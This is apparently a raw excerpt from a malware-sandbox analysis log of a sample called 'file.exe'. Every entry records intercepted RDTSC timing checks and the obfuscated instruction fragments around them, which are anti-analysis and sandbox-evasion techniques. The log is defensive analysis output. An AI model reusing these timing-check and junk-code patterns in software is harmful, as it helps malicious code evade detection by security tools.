Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491053B second address: 4910541 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910541 second address: 4910545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910545 second address: 4910549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910549 second address: 491056D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007FF018BAC3A0h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ax, E503h 0x00000016 mov ch, CEh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491056D second address: 4910582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018B87191h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910582 second address: 4910586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910586 second address: 49105A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov al, 3Eh 0x0000000e jmp 00007FF018B8718Bh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49105A0 second address: 49105A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49105A6 second address: 49105AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49105AA second address: 491065F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b mov ax, 721Fh 0x0000000f mov bx, ax 0x00000012 popad 0x00000013 pushfd 0x00000014 jmp 00007FF018BAC3A0h 0x00000019 add ah, FFFFFF88h 0x0000001c jmp 00007FF018BAC39Bh 0x00000021 popfd 0x00000022 popad 0x00000023 mov dword ptr [esp], esi 0x00000026 jmp 00007FF018BAC3A6h 0x0000002b lea eax, dword ptr [ebp-04h] 0x0000002e pushad 0x0000002f movzx esi, bx 0x00000032 call 00007FF018BAC3A3h 0x00000037 mov edi, esi 0x00000039 pop eax 0x0000003a popad 0x0000003b push esp 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007FF018BAC39Dh 0x00000045 sub ah, FFFFFFB6h 0x00000048 jmp 00007FF018BAC3A1h 0x0000004d popfd 0x0000004e pushfd 0x0000004f jmp 00007FF018BAC3A0h 0x00000054 sub ax, C9D8h 0x00000059 jmp 00007FF018BAC39Bh 0x0000005e popfd 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491065F second address: 4910677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018B87194h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910677 second address: 49106C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e pushad 0x0000000f movzx ecx, dx 0x00000012 pushfd 0x00000013 jmp 00007FF018BAC3A1h 0x00000018 sbb cl, FFFFFFD6h 0x0000001b jmp 00007FF018BAC3A1h 0x00000020 popfd 0x00000021 popad 0x00000022 push dword ptr [ebp+08h] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov dh, 87h 0x0000002a mov al, 48h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49106C2 second address: 49106C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910705 second address: 4910733 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 jmp 00007FF018BAC39Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d cmp dword ptr [ebp-04h], 00000000h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF018BAC3A5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910733 second address: 4910739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910739 second address: 491073D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491073D second address: 4910741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910741 second address: 491076C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a pushad 0x0000000b mov cx, di 0x0000000e popad 0x0000000f je 00007FF018BAC3D3h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007FF018BAC39Fh 0x0000001d mov di, si 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4900066 second address: 4900075 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4900075 second address: 49000CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov ecx, 37A24B33h 0x00000011 mov dx, ax 0x00000014 popad 0x00000015 push FFFFFFFEh 0x00000017 pushad 0x00000018 jmp 00007FF018BAC3A0h 0x0000001d popad 0x0000001e push 0EE171D2h 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FF018BAC3A3h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49000CC second address: 49000D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 5B0Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49000D5 second address: 49000E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 66E52C76h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49000E9 second address: 4900101 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87194h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4900101 second address: 4900107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4900107 second address: 4900151 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 3FBAC331h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FF018B87198h 0x00000019 xor si, 2588h 0x0000001e jmp 00007FF018B8718Bh 0x00000023 popfd 0x00000024 mov cx, 99FFh 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4900151 second address: 490019E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 4A7BE841h 0x00000010 jmp 00007FF018BAC39Eh 0x00000015 mov eax, dword ptr fs:[00000000h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FF018BAC3A7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49002AE second address: 49002B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49002B4 second address: 49002D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d mov esi, 31105BEBh 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49002D0 second address: 4900309 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF018B8718Ah 0x00000008 or esi, 5FA83878h 0x0000000e jmp 00007FF018B8718Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF018B87194h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4900309 second address: 490031F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490031F second address: 490033A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87197h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490033A second address: 4900352 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018BAC3A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4900352 second address: 4900370 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FF018B8718Ch 0x0000000e mov dword ptr [esp], edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ebx, ecx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4900370 second address: 49003B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF018BAC39Bh 0x00000008 pushfd 0x00000009 jmp 00007FF018BAC3A8h 0x0000000e xor ecx, 0E7C9C58h 0x00000014 jmp 00007FF018BAC39Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov eax, dword ptr [75C74538h] 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49003B7 second address: 49003BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49003BB second address: 49003C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49003C1 second address: 49003D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movzx eax, bx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49003D9 second address: 490040C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF018BAC3A0h 0x00000008 pop ecx 0x00000009 push ebx 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF018BAC3A4h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490040C second address: 4900412 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4900412 second address: 4900471 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FF018BAC3A0h 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007FF018BAC3A7h 0x00000019 and ecx, 75A9089Eh 0x0000001f jmp 00007FF018BAC3A9h 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4900471 second address: 49004AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 pushad 0x00000009 movsx ebx, ax 0x0000000c movzx ecx, bx 0x0000000f popad 0x00000010 lea eax, dword ptr [ebp-10h] 0x00000013 jmp 00007FF018B8718Dh 0x00000018 mov dword ptr fs:[00000000h], eax 0x0000001e jmp 00007FF018B8718Eh 0x00000023 mov dword ptr [ebp-18h], esp 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 mov di, ax 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49004AE second address: 490050F instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FF018BAC3A4h 0x0000000c adc ch, 00000058h 0x0000000f jmp 00007FF018BAC39Bh 0x00000014 popfd 0x00000015 popad 0x00000016 mov eax, dword ptr fs:[00000018h] 0x0000001c jmp 00007FF018BAC3A6h 0x00000021 mov ecx, dword ptr [eax+00000FDCh] 0x00000027 pushad 0x00000028 movsx edi, cx 0x0000002b popad 0x0000002c test ecx, ecx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FF018BAC39Bh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490050F second address: 4900515 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0015 second address: 48F001B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F001B second address: 48F001F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F001F second address: 48F0035 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF018BAC39Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0035 second address: 48F00AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FF018B8718Eh 0x00000011 mov ebp, esp 0x00000013 jmp 00007FF018B87190h 0x00000018 sub esp, 2Ch 0x0000001b jmp 00007FF018B87190h 0x00000020 xchg eax, ebx 0x00000021 jmp 00007FF018B87190h 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FF018B8718Eh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F00AA second address: 48F00E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 3958E1A4h 0x00000008 push edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FF018BAC3A0h 0x00000017 or cx, B858h 0x0000001c jmp 00007FF018BAC39Bh 0x00000021 popfd 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F00E0 second address: 48F00F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018B87192h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F00F6 second address: 48F00FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F00FA second address: 48F0124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF018B8718Ch 0x0000000e mov dword ptr [esp], edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 call 00007FF018B8718Dh 0x00000019 pop ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0124 second address: 48F0141 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018BAC3A9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F018C second address: 48F0190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0190 second address: 48F0194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0194 second address: 48F019A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F031A second address: 48F031E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F031E second address: 48F033B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F033B second address: 48F03AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b jmp 00007FF018BAC39Eh 0x00000010 jg 00007FF089EDA4C2h 0x00000016 jmp 00007FF018BAC3A0h 0x0000001b js 00007FF018BAC3FFh 0x00000021 jmp 00007FF018BAC3A0h 0x00000026 cmp dword ptr [ebp-14h], edi 0x00000029 pushad 0x0000002a mov ebx, esi 0x0000002c mov edi, eax 0x0000002e popad 0x0000002f jne 00007FF089EDA49Ch 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FF018BAC39Eh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F03AD second address: 48F03BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F03BC second address: 48F03D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018BAC3A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F03D4 second address: 48F03FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF018B87195h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0524 second address: 48F0529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F05B7 second address: 48F05BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F05BB second address: 48F05C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F05C1 second address: 48F05C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F05C7 second address: 48E078C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FF089EDA41Ch 0x0000000e xor eax, eax 0x00000010 jmp 00007FF018B85ACAh 0x00000015 pop esi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 leave 0x00000019 retn 0004h 0x0000001c nop 0x0000001d cmp eax, 00000000h 0x00000020 setne cl 0x00000023 xor ebx, ebx 0x00000025 test cl, 00000001h 0x00000028 jne 00007FF018BAC397h 0x0000002a jmp 00007FF018BAC50Bh 0x0000002f call 00007FF01CAE5D91h 0x00000034 mov edi, edi 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov ax, 694Fh 0x0000003d pushfd 0x0000003e jmp 00007FF018BAC3A4h 0x00000043 sbb cx, 91F8h 0x00000048 jmp 00007FF018BAC39Bh 0x0000004d popfd 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E078C second address: 48E07DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov esi, ebx 0x0000000f pushfd 0x00000010 jmp 00007FF018B8718Fh 0x00000015 sbb cl, 0000001Eh 0x00000018 jmp 00007FF018B87199h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E07DD second address: 48E07E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E07E3 second address: 48E08AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87193h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FF018B87199h 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 call 00007FF018B8718Ch 0x00000018 movzx eax, bx 0x0000001b pop edx 0x0000001c call 00007FF018B8718Ch 0x00000021 pushfd 0x00000022 jmp 00007FF018B87192h 0x00000027 and ax, 4508h 0x0000002c jmp 00007FF018B8718Bh 0x00000031 popfd 0x00000032 pop esi 0x00000033 popad 0x00000034 mov ebp, esp 0x00000036 pushad 0x00000037 call 00007FF018B87195h 0x0000003c pushfd 0x0000003d jmp 00007FF018B87190h 0x00000042 sub ax, FA98h 0x00000047 jmp 00007FF018B8718Bh 0x0000004c popfd 0x0000004d pop ecx 0x0000004e mov di, 3BDCh 0x00000052 popad 0x00000053 push ebp 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 jmp 00007FF018B8718Dh 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0930 second address: 48E0936 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0936 second address: 48E093A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E093A second address: 48E093E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F095F second address: 48F09AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov di, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FF018B87197h 0x00000017 adc esi, 6960217Eh 0x0000001d jmp 00007FF018B87199h 0x00000022 popfd 0x00000023 mov edi, esi 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F09AB second address: 48F09B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F09B1 second address: 48F09B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F09B5 second address: 48F0A07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [75C7459Ch], 05h 0x00000012 jmp 00007FF018BAC3A6h 0x00000017 je 00007FF089ECA3AEh 0x0000001d jmp 00007FF018BAC3A0h 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov eax, edx 0x00000028 mov cx, bx 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0A07 second address: 48F0A0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0A0D second address: 48F0A11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
